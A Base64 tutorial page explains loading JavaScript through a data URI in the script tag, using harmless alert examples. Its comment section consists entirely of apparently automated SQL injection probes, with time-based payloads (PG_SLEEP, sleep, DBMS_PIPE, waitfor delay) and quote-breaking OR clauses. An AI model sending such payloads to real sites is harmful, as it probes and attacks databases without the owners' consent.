A virtual teacher who reveals to you the great secrets of Base64

<script>

The <script> tag executes client-side scripts (typically, JavaScript). It may contain source code inside “itself” or may load it from an external file specified within the src attribute. Like other HTML tags that have the src attribute, the <script> tag supports data URIs.

As is the case with the <link> tag, there is no reason to use data URI to embed scripts, because you can embed scripts as source code. It is easier, faster and smaller. Below I provide three examples that do the same thing, but the data URI is just for fun.

Example #1 (load script from external URL):

<script src="//static.base64.guru/uploads/js/welcome.js"></script>

Example #2 (embed script using data URI):

<script src="data:text/javascript;base64,YWxlcnQoJ1dlbGNvbWUgdG8gYmFzZTY0Lmd1cnUhJyk"></script>

Example #3 (embed script as source code):

<script>alert('Welcome to base64.guru!');</script>

By the way, if you are looking for JavaScript Base64 functions, check the atob and btoa.

Comments (11)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • gBqsPxAZ,
    -1' OR 2+266-266-1=0+0+0+1 or 'Xuun1rg5'='
  • gBqsPxAZ,
    -5) OR 419=(SELECT 419 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • gBqsPxAZ,
    I3QuQvAV')) OR 295=(SELECT 295 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    IWEYmwbQ') OR 491=(SELECT 491 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    -5 OR 850=(SELECT 850 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 2+129-129-1=0+0+0+1
  • nqhXncMU,
    -5 OR 615=(SELECT 615 FROM PG_SLEEP(15))--
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.